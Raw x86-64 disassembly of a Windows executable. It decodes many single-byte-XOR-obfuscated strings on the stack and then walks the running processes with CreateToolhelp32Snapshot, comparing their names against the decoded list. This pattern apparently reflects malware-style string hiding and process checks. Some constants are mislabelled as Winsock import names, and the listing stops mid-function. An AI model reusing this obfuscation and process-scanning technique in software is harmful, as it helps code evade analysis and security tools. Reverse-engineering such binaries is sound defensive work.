xor byte [rbp + 0x78], cl
xor byte [rbp + 0x79], cl
xor byte [rbp + 0x7a], cl
xor byte [rbp + 0x7b], cl
xor byte [rbp + 0x7c], cl
xor byte [rbp + 0x7d], cl
xor byte [rbp + 0x7e], cl
xor byte [rbp + 0x7f], cl
movd eax, xmm0
mov byte [rbp + 0x80], dl
mov byte [rbp + 0x81], r8b
xor al, cl
mov byte [rbp + 0x82], r9b
lea rcx, [rbp + 0x560]
mov byte [rbp + 0x71], al
mov byte [rbp + 0x83], r12b
call fcn.140135f90
lea rax, [rbp + 0x71]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14014e130
lea rdx, [rbp + 0x71]
lea rcx, [rbp + 0x560]
call fcn.14013c7a0
mov cl, 0x2d
mov byte [rbp - 0x3a], 0x1e
xor cl, 0x1e
mov al, 0x66
mov dl, 0x2c
mov byte [rbp - 0x38], cl
mov r8b, 0x7a
lea rcx, [rbp + 0x580]
mov r9b, 0x7c
mov r10b, 0x79
xor r11d, r11d
xor al, 0x1e
xor dl, 0x1e
mov byte [rbp - 0x39], al
xor r8b, 0x1e
mov byte [rbp - 0x37], dl
xor r9b, 0x1e
mov byte [rbp - 0x36], r8b
xor r10b, 0x1e
mov byte [rbp - 0x35], r9b
mov byte [rbp - 0x34], r10b
mov byte [rbp - 0x33], r11b
call fcn.140135f90
lea rax, [rbp - 0x39]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14014e1a0
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x580]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_send
mov byte [rbp - 0x32], 0x25
xor cl, 0x25
mov al, 0x5d
mov dl, reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x30], cl
mov r8b, 0x41
lea rcx, [rbp + 0x5a0]
mov r9b, 0x47
mov r10b, 0x42
xor r11d, r11d
xor al, 0x25
xor dl, 0x25
mov byte [rbp - 0x31], al
xor r8b, 0x25
mov byte [rbp - 0x2f], dl
xor r9b, 0x25
mov byte [rbp - 0x2e], r8b
xor r10b, 0x25
mov byte [rbp - 0x2d], r9b
mov byte [rbp - 0x2c], r10b
mov byte [rbp - 0x2b], r11b
call fcn.140135f90
lea rax, [rbp - 0x31]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14014e210
lea rdx, [rbp - 0x31]
lea rcx, [rbp + 0x5a0]
call fcn.14013c7a0
mov cl, 0x7f
mov byte [rbp + 0x195], ntohs
movzx r12d, cl
mov r8b, WSAGetLastError
mov r9b, 0x68
mov r10b, 0x7e
xor cl, 0xd
movzx r11d, r10b
movzx esi, r8b
mov byte [rbp + 0x197], cl
movzx r15d, r9b
lea rcx, [rbp + 0x5c0]
mov al, 0x5d
mov dl, 0x62
xor r13d, r13d
xor al, 0xd
xor dl, 0xd
mov byte [rbp + 0x196], al
xor r8b, 0xd
mov byte [rbp + 0x198], dl
xor r9b, 0xd
mov byte [rbp + 0x199], r8b
xor r10b, 0xd
mov byte [rbp + 0x19a], r9b
xor r11b, 0xd
mov byte [rbp + 0x19b], r10b
xor sil, 0xd
mov byte [rbp + 0x19c], r11b
xor r15b, 0xd
mov byte [rbp + 0x19f], sil
xor r12b, 0xd
mov byte [rbp + 0x1a1], r15b
mov bl, 0x45
mov byte [rbp + 0x1a2], r12b
xor bl, 0xd
mov byte [rbp + 0x1a3], r13b
mov dil, 0x6c
mov byte [rbp + 0x19d], bl
xor dil, 0xd
mov r14b, 0x66
xor r14b, 0xd
mov byte [rbp + 0x19e], dil
mov byte [rbp + 0x1a0], r14b
call fcn.140135f90
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0x196]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14014e304
lea rdx, [rbp + 0x196]
lea rcx, [rbp + 0x5c0]
call fcn.14013c7a0
mov dl, 0x24
mov byte [rbp + 0x25], 0x4b
movzx r10d, dl
mov cl, 0x39
xor cl, 0x4b
mov al, 0x1b
mov r8b, 0x28
mov byte [rbp + 0x27], cl
mov r9b, 0x26
lea rcx, [rbp + 0x5e0]
mov r11b, 0x25
xor r10b, 0x4b
xor ebx, ebx
mov byte [rbp + 0x2b], r10b
xor al, 0x4b
mov byte [rbp + 0x2d], bl
xor dl, 0x4b
mov byte [rbp + 0x26], al
xor r8b, 0x4b
mov byte [rbp + 0x28], dl
xor r9b, 0x4b
mov byte [rbp + 0x29], r8b
xor r11b, 0x4b
mov byte [rbp + 0x2a], r9b
mov byte [rbp + 0x2c], r11b
call fcn.140135f90
lea rax, [rbp + 0x26]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014e381
lea rdx, [rbp + 0x26]
lea rcx, [rbp + 0x5e0]
call fcn.14013c7a0
movdqa xmm1, xmmword [0x140495500]
mov dl, reloc.WS2_32.dll_getservbyport
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x3c], xmm1
mov byte [rsp + 0x4d], bl
xor byte [rsp + 0x3e], cl
xor dl, cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x4c], dl
xor al, cl
lea rcx, [rbp + 0x600]
mov byte [rsp + 0x3d], al
call fcn.140135f90
lea rax, [rsp + 0x3d]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014e417
lea rdx, [rsp + 0x3d]
lea rcx, [rbp + 0x600]
call fcn.14013c7a0
mov cl, getservbyname
mov byte [rbp + 0x5c], 0x5f
xor cl, 0x5f
mov al, 0x3b
mov dl, 0x2d
mov byte [rbp + 0x5e], cl
mov r8b, 0x28
lea rcx, [rbp + 0x620]
mov r9b, 0x3e
mov r10b, 0x2b
mov r11b, 0x3c
xor edi, edi
xor al, 0x5f
mov byte [rbp + 0x65], dil
xor dl, 0x5f
mov byte [rbp + 0x5d], al
xor r8b, 0x5f
mov byte [rbp + 0x5f], dl
xor r9b, 0x5f
mov byte [rbp + 0x60], r8b
xor r10b, 0x5f
mov byte [rbp + 0x61], r9b
xor r11b, 0x5f
mov byte [rbp + 0x62], r10b
mov bl, reloc.WS2_32.dll_getservbyname
mov byte [rbp + 0x63], r11b
xor bl, 0x5f
mov byte [rbp + 0x64], bl
call fcn.140135f90
lea rax, [rbp + 0x5d]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14014e4a0
lea rdx, [rbp + 0x5d]
lea rcx, [rbp + 0x620]
call fcn.14013c7a0
mov dl, 0x75
mov byte [rbp + 0xea], 0x1c
mov r9b, reloc.WS2_32.dll_WSAStartup
movzx r11d, dl
movzx edi, r9b
mov cl, 0x6c
xor cl, 0x1c
mov al, 0x7d
mov r8b, WSAStartup
mov byte [rbp + 0xec], cl
mov r10b, WSAStartup
lea rcx, [rbp + 0x640]
xor r11b, 0x1c
xor dil, 0x1c
xor r14d, r14d
mov byte [rbp + 0xf1], r11b
xor al, 0x1c
mov byte [rbp + 0xf3], dil
xor dl, 0x1c
mov byte [rbp + 0xeb], al
xor r8b, 0x1c
mov byte [rbp + 0xed], dl
xor r9b, 0x1c
mov byte [rbp + 0xee], r8b
xor r10b, 0x1c
mov byte [rbp + 0xef], r9b
mov bl, 0x68
mov byte [rbp + 0xf0], r10b
xor bl, 0x1c
mov byte [rbp + 0xf5], r14b
mov sil, WSAGetLastError
mov byte [rbp + 0xf2], bl
xor sil, 0x1c
mov byte [rbp + 0xf4], sil
call fcn.140135f90
lea rax, [rbp + 0xeb]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14014e561
lea rdx, [rbp + 0xeb]
lea rcx, [rbp + 0x640]
call fcn.14013c7a0
movdqa xmm1, xmmword [str.__b61]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x6f], r14b
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
lea rcx, [rbp + 0x660]
mov byte [rsp + 0x61], al
call fcn.140135f90
lea rax, [rsp + 0x61]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x14014e5f0
lea rdx, [rsp + 0x61]
lea rcx, [rbp + 0x660]
call fcn.14013c7a0
mov cl, 0x5b
mov byte [rbp - 0x2a], 0x2e
xor cl, 0x2e
mov al, 0x6a
mov dl, 0x43
mov byte [rbp - 0x28], cl
mov r8b, 0x5e
lea rcx, [rbp + 0x680]
mov r9b, 0x4b
mov r10b, 0x5c
xor r11d, r11d
xor al, 0x2e
xor dl, 0x2e
mov byte [rbp - 0x29], al
xor r8b, 0x2e
mov byte [rbp - 0x27], dl
xor r9b, 0x2e
mov byte [rbp - 0x26], r8b
xor r10b, 0x2e
mov byte [rbp - 0x25], r9b
mov byte [rbp - 0x24], r10b
mov byte [rbp - 0x23], r11b
call fcn.140135f90
lea rax, [rbp - 0x29]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14014e660
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x680]
call fcn.14013c7a0
mov r10b, 0x1f
mov byte [rbp + 0xb1], 0x78
movzx r11d, r10b
mov cl, 1
xor cl, 0x78
mov al, 0x3c
mov dl, reloc.WS2_32.dll_shutdown
mov byte [rbp + 0xb3], cl
mov r8b, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp + 0x6a0]
mov r9b, reloc.WS2_32.dll_socket
xor r11b, 0x78
xor esi, esi
mov byte [rbp + 0xb8], r11b
xor al, 0x78
mov byte [rbp + 0xbb], sil
xor dl, 0x78
mov byte [rbp + 0xb2], al
xor r8b, 0x78
mov byte [rbp + 0xb4], dl
xor r9b, 0x78
mov byte [rbp + 0xb5], r8b
xor r10b, 0x78
mov byte [rbp + 0xb6], r9b
mov bl, 0x1d
mov byte [rbp + 0xb7], r10b
xor bl, 0x78
mov dil, 0xa
xor dil, 0x78
mov byte [rbp + 0xb9], bl
mov byte [rbp + 0xba], dil
call fcn.140135f90
lea rax, [rbp + 0xb2]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014e711
lea rdx, [rbp + 0xb2]
lea rcx, [rbp + 0x6a0]
call fcn.14013c7a0
mov r11b, 8
mov byte [rbp + 0xd2], reloc.WS2_32.dll_WSAGetLastError
movzx ebx, r11b
mov byte [rbp + 0xdd], r14b
mov cl, 0x1f
mov al, ntohs
xor cl, 0x6f
mov dl, 6
mov r8b, 0x30
mov byte [rbp + 0xd4], cl
mov r9b, 3
lea rcx, [rbp + 0x6c0]
xor r10b, r10b
xor bl, 0x6f
xor al, 0x6f
mov byte [rbp + 0xda], bl
xor dl, 0x6f
mov byte [rbp + 0xd3], al
xor r8b, 0x6f
mov byte [rbp + 0xd5], dl
xor r9b, 0x6f
mov byte [rbp + 0xd6], r8b
xor r10b, 0x6f
mov byte [rbp + 0xd7], r9b
xor r11b, 0x6f
mov byte [rbp + 0xd8], r10b
mov dil, 0xa
mov byte [rbp + 0xd9], r11b
xor dil, 0x6f
mov sil, 0x1d
xor sil, 0x6f
mov byte [rbp + 0xdb], dil
mov byte [rbp + 0xdc], sil
call fcn.140135f90
lea rax, [rbp + 0xd3]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14014e7d2
lea rdx, [rbp + 0xd3]
lea rcx, [rbp + 0x6c0]
call fcn.14013c7a0
mov r11b, 0x1b
mov byte [rbp + 0x125], WSAGetLastError
movzx esi, r11b
mov cl, ntohs
xor cl, 0x6b
mov al, 0x2f
mov dl, 9
mov byte [rbp + 0x127], cl
mov r8b, 0x1e
lea rcx, [rbp + 0x6e0]
mov r9b, reloc.WS2_32.dll_inet_ntoa
mov r10b, 0x2a
xor sil, 0x6b
xor r15d, r15d
xor al, 0x6b
mov byte [rbp + 0x12f], sil
xor dl, 0x6b
mov byte [rbp + 0x126], al
xor r8b, 0x6b
mov byte [rbp + 0x128], dl
xor r9b, 0x6b
mov byte [rbp + 0x129], r8b
xor r10b, 0x6b
mov byte [rbp + 0x12a], r9b
xor r11b, 0x6b
mov byte [rbp + 0x12b], r10b
mov bl, 2
mov byte [rbp + 0x12c], r11b
xor bl, 0x6b
mov byte [rbp + 0x131], r15b
mov dil, reloc.WS2_32.dll_getservbyport
mov byte [rbp + 0x12d], bl
xor dil, 0x6b
mov r14b, reloc.WS2_32.dll_select
xor r14b, 0x6b
mov byte [rbp + 0x12e], dil
mov byte [rbp + 0x130], r14b
call fcn.140135f90
lea rax, [rbp + 0x126]
mov r8, r13
inc r8
cmp byte [rax + r8], r15b
jne 0x14014e8a3
lea rdx, [rbp + 0x126]
lea rcx, [rbp + 0x6e0]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_inet_addr
mov byte [rbp + 0xa30], 0x58
xor cl, 0x58
mov al, reloc.WS2_32.dll_getservbyname
mov dl, 0x28
mov byte [rbp + 0xa32], cl
mov r8b, 0x21
lea rcx, [rbp + 0x700]
xor r9d, r9d
xor al, 0x58
xor dl, 0x58
mov byte [rbp + 0xa31], al
xor r8b, 0x58
mov byte [rbp + 0xa33], dl
mov byte [rbp + 0xa34], r8b
mov byte [rbp + 0xa35], r9b
call fcn.140135f90
lea rax, [rbp + 0xa31]
mov r8, r13
inc r8
cmp byte [rax + r8], r15b
jne 0x14014e914
lea rdx, [rbp + 0xa31]
lea rcx, [rbp + 0x700]
call fcn.14013c7a0
mov cl, 0x58
mov byte [rbp + 0x2e], 8
xor cl, 8
mov al, 0x49
mov dl, 0x41
mov byte [rbp + 0x30], cl
mov r8b, 0x5b
lea rcx, [rbp + 0x720]
mov r9b, 0x6b
mov r10b, 0x69
mov r11b, 0x66
xor ebx, ebx
xor al, 8
mov byte [rbp + 0x36], bl
xor dl, 8
mov byte [rbp + 0x2f], al
xor r8b, 8
mov byte [rbp + 0x31], dl
xor r9b, 8
mov byte [rbp + 0x32], r8b
xor r10b, 8
mov byte [rbp + 0x33], r9b
xor r11b, 8
mov byte [rbp + 0x34], r10b
mov byte [rbp + 0x35], r11b
call fcn.140135f90
lea rax, [rbp + 0x2f]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14014e990
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0x720]
call fcn.14013c7a0
mov al, 0x2f
mov byte [rbp + 0xbc], 0x7c
movzx r8d, al
mov cl, reloc.WS2_32.dll_inet_ntoa
xor cl, 0x7c
mov dl, 5
mov r9b, 8
mov byte [rbp + 0xbe], cl
mov r10b, 9
lea rcx, [rbp + 0x740]
mov r11b, 0x18
xor r8b, 0x7c
xor esi, esi
mov byte [rbp + 0xc0], r8b
xor al, 0x7c
mov byte [rbp + 0xc6], sil
xor dl, 0x7c
mov byte [rbp + 0xbd], al
xor r9b, 0x7c
mov byte [rbp + 0xbf], dl
xor r10b, 0x7c
mov byte [rbp + 0xc1], r9b
xor r11b, 0x7c
mov byte [rbp + 0xc2], r10b
mov bl, reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc3], r11b
xor bl, 0x7c
mov dil, reloc.WS2_32.dll_send
xor dil, 0x7c
mov byte [rbp + 0xc4], bl
mov byte [rbp + 0xc5], dil
call fcn.140135f90
lea rax, [rbp + 0xbd]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14014ea41
lea rdx, [rbp + 0xbd]
lea rcx, [rbp + 0x740]
call fcn.14013c7a0
mov r10b, 0x6b
mov byte [rbp + 0x132], ntohs
movzx r14d, r10b
mov byte [rbp + 0x13e], r15b
mov cl, 0x4c
mov al, 0x58
xor cl, 0xe
mov dl, 0x61
mov r8b, 0x76
mov byte [rbp + 0x134], cl
mov r9b, 0x5d
lea rcx, [rbp + 0x760]
mov r11b, 0x7c
xor r14b, 0xe
xor al, 0xe
mov byte [rbp + 0x13d], r14b
xor dl, 0xe
mov byte [rbp + 0x133], al
xor r8b, 0xe
mov byte [rbp + 0x135], dl
xor r9b, 0xe
mov byte [rbp + 0x136], r8b
xor r10b, 0xe
mov byte [rbp + 0x137], r9b
xor r11b, 0xe
mov byte [rbp + 0x138], r10b
mov bl, 0x78
mov byte [rbp + 0x139], r11b
xor bl, 0xe
mov dil, 0x67
xor dil, 0xe
mov byte [rbp + 0x13a], bl
mov sil, WSAGetLastError
mov byte [rbp + 0x13b], dil
xor sil, 0xe
mov byte [rbp + 0x13c], sil
call fcn.140135f90
lea rax, [rbp + 0x133]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x14014eb10
lea rdx, [rbp + 0x133]
lea rcx, [rbp + 0x760]
call fcn.14013c7a0
mov cl, 0x44
mov byte [rbp + 0x66], 6
xor cl, 6
mov al, 0x50
mov dl, 0x69
mov byte [rbp + 0x68], cl
mov r8b, 0x7e
lea rcx, [rbp + 0x780]
mov r9b, 0x52
mov r10b, reloc.WS2_32.dll_WSACleanup
mov r11b, 0x67
xor edi, edi
xor al, 6
mov byte [rbp + 0x6f], dil
xor dl, 6
mov byte [rbp + 0x67], al
xor r8b, 6
mov byte [rbp + 0x69], dl
xor r9b, 6
mov byte [rbp + 0x6a], r8b
xor r10b, 6
mov byte [rbp + 0x6b], r9b
xor r11b, 6
mov byte [rbp + 0x6c], r10b
mov bl, 0x7f
mov byte [rbp + 0x6d], r11b
xor bl, 6
mov byte [rbp + 0x6e], bl
call fcn.140135f90
lea rax, [rbp + 0x67]
mov r8, r13
inc r8
cmp byte [rax + r8], dil
jne 0x14014eb94
lea rdx, [rbp + 0x67]
lea rcx, [rbp + 0x780]
call fcn.14013c7a0
mov cl, 0x63
mov byte [rbp - 0x22], 0x2e
xor cl, 0x2e
mov byte [rbp - 0x1b], dil
mov al, 0x78
mov byte [rbp - 0x20], cl
mov dl, 0x7d
lea rcx, [rbp + 0x7a0]
mov r8b, 0x5c
mov r9b, 0x58
mov r10b, 0x4d
xor al, 0x2e
xor dl, 0x2e
mov byte [rbp - 0x21], al
xor r8b, 0x2e
mov byte [rbp - 0x1f], dl
xor r9b, 0x2e
mov byte [rbp - 0x1e], r8b
xor r10b, 0x2e
mov byte [rbp - 0x1d], r9b
mov byte [rbp - 0x1c], r10b
call fcn.140135f90
lea rax, [rbp - 0x21]
mov r8, r13
inc r8
cmp byte [rax + r8], dil
jne 0x14014ec00
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0x7a0]
call fcn.14013c7a0
mov cl, reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x37], 0x79
xor cl, 0x79
mov al, 0x2f
mov dl, 0x2c
mov byte [rbp + 0x39], cl
mov r8b, 0x2a
lea rcx, [rbp + 0x7c0]
mov r9b, reloc.WS2_32.dll_inet_addr
mov r10b, reloc.WS2_32.dll_ntohs
mov r11b, 0x1a
xor ebx, ebx
xor al, 0x79
mov byte [rbp + 0x3f], bl
xor dl, 0x79
mov byte [rbp + 0x38], al
xor r8b, 0x79
mov byte [rbp + 0x3a], dl
xor r9b, 0x79
mov byte [rbp + 0x3b], r8b
xor r10b, 0x79
mov byte [rbp + 0x3c], r9b
xor r11b, 0x79
mov byte [rbp + 0x3d], r10b
mov byte [rbp + 0x3e], r11b
call fcn.140135f90
lea rax, [rbp + 0x38]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x14014ec80
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x7c0]
call fcn.14013c7a0
mov cl, 0x46
mov byte [rbp + 0xde], 0x23
movzx r9d, cl
movzx esi, cl
xor cl, 0x23
mov al, 0x5b
mov dl, 0x4d
mov byte [rbp + 0xe0], cl
mov r8b, 0x50
lea rcx, [rbp + 0x7e0]
mov r10b, 0x51
mov r11b, 0x55
xor r14d, r14d
xor al, 0x23
xor dl, 0x23
mov byte [rbp + 0xdf], al
xor r8b, 0x23
mov byte [rbp + 0xe1], dl
xor r9b, 0x23
mov byte [rbp + 0xe2], r8b
xor r10b, 0x23
mov byte [rbp + 0xe3], r9b
xor r11b, 0x23
mov byte [rbp + 0xe4], r10b
xor sil, 0x23
mov byte [rbp + 0xe5], r11b
mov bl, 0x4a
mov byte [rbp + 0xe8], sil
xor bl, 0x23
mov byte [rbp + 0xe9], r14b
mov dil, 0x40
mov byte [rbp + 0xe6], bl
xor dil, 0x23
mov byte [rbp + 0xe7], dil
call fcn.140135f90
lea rax, [rbp + 0xdf]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14014ed40
lea rdx, [rbp + 0xdf]
lea rcx, [rbp + 0x7e0]
call fcn.14013c7a0
mov cl, 0x25
mov byte [rsp + 0x30], 0x4c
xor cl, 0x4c
mov byte [rsp + 0x3b], r14b
mov al, 0x1a
mov byte [rsp + 0x32], cl
mov dl, 0x3e
lea rcx, [rbp + 0x800]
mov r8b, reloc.WS2_32.dll_getservbyport
mov r9b, 0x39
mov r10b, 0x2d
mov r11b, 0x20
xor al, 0x4c
xor dl, 0x4c
xor r8b, 0x4c
mov byte [rsp + 0x31], al
xor r9b, 0x4c
mov byte [rsp + 0x33], dl
xor r10b, 0x4c
mov byte [rsp + 0x34], r8b
xor r11b, 0x4c
mov byte [rsp + 0x35], r9b
mov bl, ntohs
mov byte [rsp + 0x36], r10b
xor bl, 0x4c
mov byte [rsp + 0x37], r11b
mov dil, 0x23
mov byte [rsp + 0x38], bl
xor dil, 0x4c
mov sil, reloc.WS2_32.dll_gethostbyname
xor sil, 0x4c
mov byte [rsp + 0x39], dil
mov byte [rsp + 0x3a], sil
call fcn.140135f90
lea rax, [rsp + 0x31]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14014ede5
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x800]
call fcn.14013c7a0
mov cl, 0x2a
mov byte [rbp + 0x40], 0x4f
movzx r8d, cl
mov r9b, 0x3c
xor cl, 0x4f
movzx r11d, r9b
mov al, 1
mov byte [rbp + 0x42], cl
mov dl, 0x22
lea rcx, [rbp + 0x820]
mov r10b, 0x26
xor ebx, ebx
xor al, 0x4f
mov byte [rbp + 0x48], bl
xor dl, 0x4f
mov byte [rbp + 0x41], al
xor r8b, 0x4f
mov byte [rbp + 0x43], dl
xor r9b, 0x4f
mov byte [rbp + 0x44], r8b
xor r10b, 0x4f
mov byte [rbp + 0x45], r9b
xor r11b, 0x4f
mov byte [rbp + 0x46], r10b
mov byte [rbp + 0x47], r11b
call fcn.140135f90
lea rax, [rbp + 0x41]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014ee60
lea rdx, [rbp + 0x41]
lea rcx, [rbp + 0x820]
call fcn.14013c7a0
mov al, 0x66
mov byte [rbp + 0x49], reloc.WS2_32.dll_shutdown
movzx r11d, al
mov byte [rbp + 0x51], bl
mov cl, 0x64
mov dl, 0x79
xor cl, 0x16
mov r8b, 0x75
mov r9b, reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x4b], cl
mov r10b, WSAGetLastError
lea rcx, [rbp + 0x840]
xor r11b, 0x16
xor al, 0x16
xor dl, 0x16
mov byte [rbp + 0x50], r11b
xor r8b, 0x16
mov byte [rbp + 0x4a], al
xor r9b, 0x16
mov byte [rbp + 0x4c], dl
xor r10b, 0x16
mov byte [rbp + 0x4d], r8b
mov byte [rbp + 0x4e], r9b
mov byte [rbp + 0x4f], r10b
call fcn.140135f90
lea rax, [rbp + 0x4a]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014eed7
lea rdx, [rbp + 0x4a]
lea rcx, [rbp + 0x840]
call fcn.14013c7a0
movdqa xmm1, xmmword [str._rBoghnyHuab]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x7f], bl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
lea rcx, [rbp + 0x860]
mov byte [rsp + 0x71], al
call fcn.140135f90
lea rax, [rsp + 0x71]
mov r8, r13
inc r8
cmp byte [rax + r8], bl
jne 0x14014ef61
lea rdx, [rsp + 0x71]
lea rcx, [rbp + 0x860]
call fcn.14013c7a0
mov cl, WSAStartup
mov byte [rbp + 0xa38], reloc.WS2_32.dll_socket
xor cl, 0x17
mov byte [rbp + 0xa3e], bl
mov al, 0x51
mov byte [rbp + 0xa3a], cl
mov dl, 0x7b
lea rcx, [rbp + 0x880]
mov r8b, 0x7e
mov r9b, reloc.WS2_32.dll_WSAGetLastError
xor al, 0x17
xor dl, 0x17
xor r8b, 0x17
mov byte [rbp + 0xa39], al
xor r9b, 0x17
mov byte [rbp + 0xa3b], dl
mov byte [rbp + 0xa3c], r8b
mov byte [rbp + 0xa3d], r9b
call fcn.140135f90
lea rax, [rbp + 0xa39]
inc r13
cmp byte [rax + r13], bl
jne 0x14014efd7
mov r8, r13
lea rdx, [rbp + 0xa39]
lea rcx, [rbp + 0x880]
call fcn.14013c7a0
lea rax, [rbp + 0x200]
mov qword [rbp + 0x1f0], rax
lea r8, [rbp + 0xa20]
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x1f0]
mov qword [rbp + 0x1f8], rax
lea rcx, [rbp + 0x1b8]
call fcn.140150840
mov ebx, getservbyname
lea rdi, [rbp + 0x8a0]
nop dword [rax + rax]
sub rdi, 0x20
mov rcx, rdi
call fcn.1401358f0
sub rbx, 1
jne 0x14014f040
lea rcx, [rbp + 0x1d0]
call fcn.140134980
mov rax, qword [rbp + 0x1c0]
xor ecx, ecx
mov rdx, qword [rbp + 0x1b8]
mov ebx, ecx
sub rax, rdx
sar rax, 5
test rax, rax
je 0x14014f0b2
nop dword [rax]
shl rcx, 5
add rdx, rcx
lea rcx, [rbp + 0x1d0]
call fcn.140150980
mov rax, qword [rbp + 0x1c0]
inc ebx
mov rdx, qword [rbp + 0x1b8]
sub rax, rdx
movsxd rcx, ebx
sar rax, 5
cmp rcx, rax
jb 0x14014f080
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
mov qword [rbp + 0xa38], rax
lea rdx, [rbp + 0x8a0]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x14014f463
lea rdx, [rbp + 0x8a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x14014f463
nop dword [rax]
lea rdx, [rbp + 0x8cc]
lea rcx, [rbp + 0xf8]
call fcn.14013a710
mov r15, qword [rbp + 0x1d8]
mov r14, qword [rbp + 0x1d0]
cmp r14, r15
je 0x14014f43e
xor r12d, r12d
nop dword [rax]
mov rdx, r14
lea rcx, [rbp + 0x70]
call fcn.140135510
xor r8d, r8d
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xf8]
call fcn.140149a50
cmp rax, 0xffffffffffffffff
je 0x14014f421
xor r10d, r10d
mov byte [rbp + 0xa20], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0xa26], r10b
mov cl, 0x60
xor cl, 0xc
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa22], cl
mov dl, 0x63
xor dl, 0xc
mov byte [rsp + 0x3b], r12b
mov byte [rbp + 0xa23], dl
mov r8b, 0x7f
xor r8b, 0xc
mov al, 0x4f
mov byte [rbp + 0xa24], r8b
xor al, 0xc
mov byte [rbp + 0xa21], al
mov r9b, 0x69
xor r9b, 0xc
mov cl, 8
mov byte [rbp + 0xa25], r9b
xor cl, 0x6f
mov dl, 0x1b
mov byte [rsp + 0x32], cl
xor dl, 0x6f
lea rcx, [rbp + 0x70]
mov r8b, 0x1d
mov byte [rsp + 0x33], dl
xor r8b, 0x6f
lea rdx, [rsp + 0x31]
mov bl, 0xa
mov byte [rsp + 0x34], r8b
mov al, 0x19
mov r9b, ntohs
mov r10b, reloc.WS2_32.dll_shutdown
mov r11b, 0x41
movzx esi, bl
xor al, 0x6f
xor r9b, 0x6f
mov byte [rsp + 0x31], al
xor r10b, 0x6f
mov byte [rsp + 0x35], r9b
xor r11b, 0x6f
mov byte [rsp + 0x36], r10b
mov dil, reloc.WS2_32.dll_socket
mov byte [rsp + 0x37], r11b
xor bl, 0x6f
xor dil, 0x6f
xor sil, 0x6f
mov byte [rsp + 0x38], bl
xor r8d, r8d
mov byte [rsp + 0x39], dil
mov byte [rsp + 0x3a], sil
call fcn.140150940
cmp rax, 0xffffffffffffffff
je 0x14014f315
movdqa xmm1, xmmword [0x1404955b0]
mov dl, 0x61
movd ecx, xmm1
